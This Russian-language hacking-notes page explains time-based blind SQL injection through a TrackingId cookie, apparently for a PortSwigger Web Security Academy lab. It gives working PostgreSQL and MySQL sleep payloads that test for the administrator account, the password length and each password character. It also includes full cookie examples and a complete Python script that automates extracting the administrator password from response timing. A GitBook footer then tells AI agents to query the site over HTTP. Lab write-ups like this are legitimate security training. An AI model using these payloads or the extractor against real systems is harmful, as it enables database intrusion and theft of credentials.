> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md).

# Экcфильтрация данных при слепой SQL-инъекции на основе времени

### Слепая SQL-инъекция с временными задержками и извлечением информации

Значение `TrackingId` cookie подставляется в синхронный SQL-запрос. Условная задержка (`SLEEP` / `pg_sleep`) срабатывает, когда утверждение истинно; информация выводится по времени ответа (то есть задержка при истинном условии).

#### PostgreSQL

* Простой сон на 5 с:

```
TrackingId=<BASE>' || pg_sleep(5) || '
```

* Условная (проверить, если `username='administrator'` → 5 с):

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Проверка длины пароля = 20:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

* Проверка символа в `позиции` позиции:

```
TrackingId=<BASE>' || (SELECT CASE WHEN (SELECT SUBSTRING(password, {pos}, 1) FROM users WHERE username='administrator') = '{char}' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '
```

> Примечание для Postgres: иногда `FROM` позицию нужно корректировать в соответствии с внедрённым запросом; приведённые выше примеры — распространённые шаблоны.

#### MySQL

* Простой сон на 5 с:

```
TrackingId=<BASE>' AND SLEEP(5)-- -
```

* Условная (подстрока):

```
TrackingId=<BASE>' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'), {pos}, 1) = '{char}', SLEEP(5), 0)-- -
```

* Проверка длины = N:

```
TrackingId=<BASE>' OR IF(LENGTH((SELECT password FROM users WHERE username='administrator')) = {N}, SLEEP(5), 0)-- -
```

> MySQL: `IF(condition, sleep(sec), 0)` — это стандартная форма; используйте `SUBSTRING(...)` и `LENGTH(...)`.

***

### Наглядные примеры (полная cookie)

Предположим `BASE=abc123` и сессия `'SESSION=XYZ'`.

* Postgres — проверка символа, pos=1 == 'a':

```
Cookie: TrackingId=abc123' || (SELECT CASE WHEN (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' THEN pg_sleep(5) ELSE pg_sleep(0) END) || '; Session=XYZ
```

* MySQL — проверка символа, pos=1 == 'a':

```
Cookie: TrackingId=abc123' OR IF(SUBSTRING((SELECT password FROM users WHERE username='administrator'),1,1)='a', SLEEP(5), 0)-- -; Session=XYZ
```

### Автоматизированный Python-скрипт (исправленный, адаптируемый для Postgres и MySQL)

Этот скрипт измеряет задержку и восстанавливает символ за символом. Параметры: `TARGET`, `BASE_TRACKING`, `SESSION`, `DBMS` (`'postgres'`  или `'mysql'`), алфавит, ожидаемая задержка (`SLEEP_SEC`и `MAX_LEN`.

```python
#!/usr/bin/env python3
"""
Экстрактор слепой SQL-инъекции на основе времени (Postgres / MySQL)
Использование: настройте TARGET, BASE_TRACKING, SESSION, DBMS, затем запустите.
Запускайте ТОЛЬКО в авторизованной среде.
"""

import requests, time, string, sys, signal

# ------------- CONFIG -------------
TARGET = "https://EXAMPLE.web-security-academy.net/"
BASE_TRACKING = "test"            # законная часть TrackingId
SESSION_VALUE = "SESSION_VALUE"
DBMS = "postgres"                 # "postgres" или "mysql"
SLEEP_SEC = 5                     # задержка на стороне сервера
THRESHOLD = SLEEP_SEC - 1.0       # если ответ > порога => условие истинно
ALPHABET = string.ascii_lowercase + string.digits  # при необходимости скорректируйте
MAX_LEN = 30
TIMEOUT = SLEEP_SEC + 5
# ------------- /CONFIG -------------

HEADERS = {"User-Agent": "Mozilla/5.0"}

def build_payload(sgdb, pos, ch):
    if sgdb == "postgres":
        # условие: substring(password,pos,1) = 'ch'
        cond = f"(SELECT CASE WHEN (SELECT SUBSTRING(password,{pos},1) FROM users WHERE username='administrator') = '{ch}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END)"
        payload = f"{BASE_TRACKING}' || {cond} || '"
    elif sgdb == "mysql":
        # IF(SUBSTRING((SELECT password ...),pos,1) = 'ch', SLEEP(X), 0)
        cond = f"IF(SUBSTRING((SELECT password FROM users WHERE username='administrator' LIMIT 1),{pos},1)='{ch}', SLEEP({SLEEP_SEC}), 0)"
        payload = f"{BASE_TRACKING}' OR {cond}-- -"
    else:
        raise ValueError("Неподдерживаемая СУБД")
    return payload

def send_request(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    t0 = time.time()
    try:
        r = requests.get(TARGET, cookies=cookies, headers=HEADERS, timeout=TIMEOUT, verify=True, allow_redirects=False)
    except requests.exceptions.RequestException as e:
        return None, None
    dt = time.time() - t0
    return r, dt

def extract_password():
    pwd = ""
    for pos in range(1, MAX_LEN + 1):
        found = False
        for ch in ALPHABET:
            payload = build_payload(DBMS, pos, ch)
            _, dt = send_request(payload)
            if dt is None:
                print("[!] запрос не выполнен, повторите попытку или проверьте соединение")
                sys.exit(1)
            # debug: print(f"pos={pos} try={ch} dt={dt:.2f}s")
            if dt > THRESHOLD:
                pwd += ch
                print(f"[+] pos={pos} -> '{ch}'  (dt={dt:.2f}s)")
                found = True
                break
        if not found:
            print(f"[-] Символ не найден на позиции {pos} -> вероятно, конец")
            break
    return pwd

def sigint_handler(sig, frame):
    print("/nПрерывание. Выход.")
    sys.exit(0)

if __name__ == "__main__":
    signal.signal(signal.SIGINT, sigint_handler)
    print("[*] Начало извлечения (по времени)")
    recovered = extract_password()
    print(f"/n[=] Восстановленный пароль (частично/оценочно): {recovered}/n")
```

* Для **Postgres**, `DBMS="postgres"`.
* Для **MySQL**, `DBMS="mysql"`.
* Сократите `ALPHABET` Если знаете набор символов (огромный выигрыш).
* Настройте `MAX_LEN` / `SLEEP_SEC` в соответствии с целью.
* При необходимости используйте обратный экспоненциальный откат.

<figure><img src="/files/a20acc6827754cea484186854470d54c78cc3ea4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/sql-injection/blind-sql-injection-with-time-delay-and-exfiltration.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
